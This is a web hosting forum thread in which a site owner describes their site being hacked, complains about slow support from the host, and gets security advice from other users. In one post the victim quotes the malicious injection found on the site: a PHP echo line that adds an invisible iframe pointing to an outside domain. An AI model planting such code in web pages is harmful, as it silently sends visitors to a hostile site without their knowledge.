Worst hosting ever...************.com

The delay in response to your ticket is very unsettling at this point. From my understanding of the situation, their lack of support in this matter would be more cause to leave them than the hacking issue.
 
From reading what has been said it’s still not been established if this was a script exploit or a number of login attacks or the hacker simply logging into your account.

Often I have seen on the various support roles I have taken for numerous companies, that users are almost immediately ready to hand the blame to them. In some cases this is helpful as it allows the provider to being investigation although not always.

With the recent attacks on WHT, you have to ask yourself some simple questions:

  • Did I have an account? Yes or No
  • Do I use generic or similar passwords (example: yourname234, and for another site yourname345)? Yes or No
  • Is my computer correctly secured and updated and have any breaches been made? Yes or No
  • Am I using freeware or shared antiviral or firewall software? Yes or No
  • Are scans run regularly?

Those are just a few questions, there are obviously many more but many people may have dormant or inactive viruses on their computers in places that the software they use cannot access. I have been victim to this and as have many people before, which require removal by hand as it where.

I’d like to make it clear I am in no way saying it’s your fault, but everyone always presumes it’s a breach on the provider’s side. And yes they cannot monitor everything especially if someone is using your ftp or cPanel accounts, although brute force attacks should be known as well as others such as DDOS which can result in breaches. Although their history doesn’t help.

Again there are so many different ways of getting into website, scripts, applications, games, servers, computers and the likes it’s not always a simple case of, the hacker got in here and did this there.

As far as the response times go, they are pretty appalling although not the worse if seen across many industries. At a minimum they should post updates, but again if they have a history of hacking issues and your experiencing bad support id go with the suggestion to change host.

Again the security of your data should be paramount which is why I suspect many of us use PayPal, Google Checkout and the like for payment , SSL certs for when personal info is taken as well as database precautions. Although if they have your password through an exploit or otherwise then these precautions will be almost useless.

Just my :twocents: worth.
 
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After 24 hrs of submitting case, they do respond to my ticket and saying that they will respond me back when they have the logs with them. Now, I dont have any words for their support!!!!

I got my files checked and luckily they got hold of only two pages of my site. Lucky Me. :)

I am shifting to a new host this weekend.

By the way, that point from csn-uk has got an itch on me. I do have an account at WHT. Can it be related to that attack. The hacked page showed metalteam.org.....
 
ssluser said:
By the way, that point from csn-uk has got an itch on me. I do have an account at WHT. Can it be related to that attack. The hacked page showed metalteam.org.....
Click to expand...

It’s very likely which is why I have mentioned it, people who have access to the public lists will look for big targets rather than small targets; if it’s obvious you’re a hosting provider or a merchant account holder. You’re more likely to get attacked.
 
You are not alone in this situation, I already saw not only one this type info about ix :(


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ssluser said:
After 24 hrs of submitting case, they do respond to my ticket and saying that they will respond me back when they have the logs with them. Now, I dont have any words for their support!!!!

I got my files checked and luckily they got hold of only two pages of my site. Lucky Me. :)

I am shifting to a new host this weekend.

By the way, that point from csn-uk has got an itch on me. I do have an account at WHT. Can it be related to that attack. The hacked page showed metalteam.org.....
Click to expand...
Any response on how your site was compromised? Best to know before you move, because the problem could move with you to your new host.
 
God knows when this would end...they told me that they found one hack shell and they have removed it but now my site gets stopped every now and then...I keep uploading pages from my backup every 30 min to keep my site up.....and the support is just relaxing........

this is the script that is damaging my site.....

echo "<iframe src=\"http://xtrarobotz.com/?click=6ED4EC\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";

any ideaz how can I do it myself......
 
I hope this gets resolved soon, also clients just as well as hosts need to keep up-to-date software or else your just asking to get hacked.
 
Change your FTP password and you server log-in password. Upload clean backup files and ensure files on your server are set to correct permissions.

best of luck,
Chris
 
Hacking... Oh my one of my friends also faced the same yesterday. Apparently his visitor counter got mad for no apparent reason. Some one was creating sessions endlessly. I do not want to mention the hosting provider here. Its a famous one which provides everything unlimited...

I have many sites and didn't have any problems like this. Anyway you should change the provider. If they can hack your database then thats that. One of the crucial factor of a good web application is the security. And you are not getting it...
 
For the time being the site is doing well, it has not been down last 8 hrs or so.....but the support.....I was in chat with ixweb for continuos 5hrs....but they did nothin to help me....I had to do it all by myself.

I am planning to shift my site today itself, I have been on this for last 20 hrs or so.....I just cannot take it anymore....
 
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